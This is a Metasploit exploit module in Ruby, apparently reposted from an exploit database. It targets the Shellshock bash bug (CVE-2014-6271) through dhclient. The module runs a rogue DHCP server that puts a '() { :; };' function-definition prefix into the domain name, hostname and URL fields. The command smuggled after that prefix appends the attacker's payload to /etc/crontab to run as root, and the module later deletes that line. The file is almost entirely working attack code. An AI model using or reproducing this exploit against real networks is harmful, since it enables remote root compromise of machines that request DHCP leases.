## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex/proto/dhcp' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::DHCPServer def initialize(info = {}) super(update_info(info, 'Name' => 'Dhclient Bash Environment Variable Injection', 'Description' => %q| When bash is started with an environment variable that begins with the string "() {", that variable is treated as a function definition and parsed as code. If extra commands are added after the function definition, they will be executed immediately. When dhclient receives an ACK that contains a domain name or hostname, they are passed to configuration scripts as environment variables, allowing us to trigger the bash bug. Because of the length restrictions and unusual networking scenario at time of exploitation, we achieve code execution by echoing our payload into /etc/crontab and clean it up when we get a shell. |, 'Author' => [ 'Stephane Chazelas', # Vulnerability discovery 'egypt' # Metasploit module ], 'License' => MSF_LICENSE, 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'References' => [ ['CVE', '2014-6271'] ], 'Payload' => { # 255 for a domain name, minus some room for encoding 'Space' => 200, 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic bash telnet ruby', } }, 'Targets' => [ [ 'Automatic Target', { }] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Sep 24 2014' )) deregister_options('DOMAINNAME', 'HOSTNAME', 'URL') end def on_new_session(session) print_status "Cleaning up crontab" # XXX this will brick a server some day session.shell_command_token("sed -i '/^\\* \\* \\* \\* \\* root/d' /etc/crontab") end def exploit hash = datastore.copy # Quotes seem to be completely stripped, so other characters have to be # escaped p = payload.encoded.gsub(/([<>()|'&;$])/) { |s| Rex::Text.to_hex(s) } echo = "echo -e #{(Rex::Text.to_hex("*") + " ") * 5}root #{p}>>/etc/crontab" hash['DOMAINNAME'] = "() { :; };#{echo}" if hash['DOMAINNAME'].length > 255 raise ArgumentError, 'payload too long' end hash['HOSTNAME'] = "() { :; };#{echo}" hash['URL'] = "() { :; };#{echo}" start_service(hash) begin while @dhcp.thread.alive? sleep 2 end ensure stop_service end end end # Iranian Exploit DataBase = http://IeDb.Ir [2014-09-30]